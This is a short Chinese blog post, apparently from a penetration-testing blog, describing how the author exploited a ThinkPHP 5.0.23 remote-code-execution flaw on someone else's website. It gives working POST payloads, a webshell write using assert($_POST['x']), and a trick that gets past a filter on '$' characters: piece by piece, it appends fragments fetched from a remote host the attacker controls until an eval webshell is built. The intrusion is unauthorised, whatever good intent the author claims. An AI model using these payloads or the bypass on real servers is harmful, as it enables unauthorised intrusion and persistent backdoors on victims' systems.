Thinkphp 5.0.23一次艰难的利用(绕过限制)

今天打算做点好事,看看有没有被别人黑掉的站,修复一波。刚刚好,找到一个。用goby一扫,thinkphp5.x漏洞

 

 

 验证了一下,是没有问题的

然后准备用工具写下shell

 

 

 

 

 

发现根本不行,看来还是得手动测试..

 

这个漏洞我通过抓goby的包,发现他是这样利用的.

网址:xxxxx.com/?s=captcha

POST数据:_method=__construct&filter[0]=phpinfo&method=GET&get[0]=11111

其中fiflter[0]是函数名  ,get[0]是参数

我通过PHPINFO的查看,发现系统禁用了所有的命令执行函数

 

 

 看样子从系统命令写文件出去是没办法了...

之后打算用fputs(fopen("x.php","w"),"<?php assert($_POST['x'])?>");

这样子来写入,post数据包就是这样子.

_method=__construct&filter[0]=assert&method=GET&get[0]=fputs(fopen("x.php","w"),"<?php assert($_POST['x'])?>");

但是我发现,只要get[0]参数里带了$号,就执行失败..我寻思,这样的话不就无法定义变量了。那怎么搞一句话木马;

然后我就乱试啊! 试include远程包含,无果,再试file_get_contents() 这样操作,发现获取的是远程服务器的信息,并不能在本地运行.

之后想到一个方法,我们是不是可以用fwrite  a+的方式来 一个一个写进去.二话不说直接开干!

自己随便找个网站,无限制写入的。然后我这边就 http://xxxx.com/1.php吧

_method=__construct&filter[0]=assert&method=GET&get[0]=fwrite(fopen("3.php","w"),fread(fopen('http://xxxx.com/1.php','r'),1000));

我们第一步:xxxx.com/1.php的内容改成<    然后burp那边点send。让这个rce漏洞执行一遍,把<写入到3.php里面

接着我们要记得,后面就把写入方式w改成a+了。

_method=__construct&filter[0]=assert&method=GET&get[0]=fwrite(fopen("3.php","a+"),fread(fopen('http://xxxx.com/1.php','r'),1000));

之后我们再把xxxx.com/1.php改成?   然后burp再执行一遍.

然后再改成php 再执行一遍

再改成eva 再执行一遍

后面再l ($

再_POS

再T['x']);?>

这样一波操作下来,我们发现,我们的数据没有被拦截还成功写入进去了。强!!!!

 

 

 

成功拿下!之后就是找到被挂马的,清除一下,修复漏洞,开溜!

 

 

posted @ 2023-02-25 18:31  web渗透实战记录  阅读(1399)  评论(0)    收藏  举报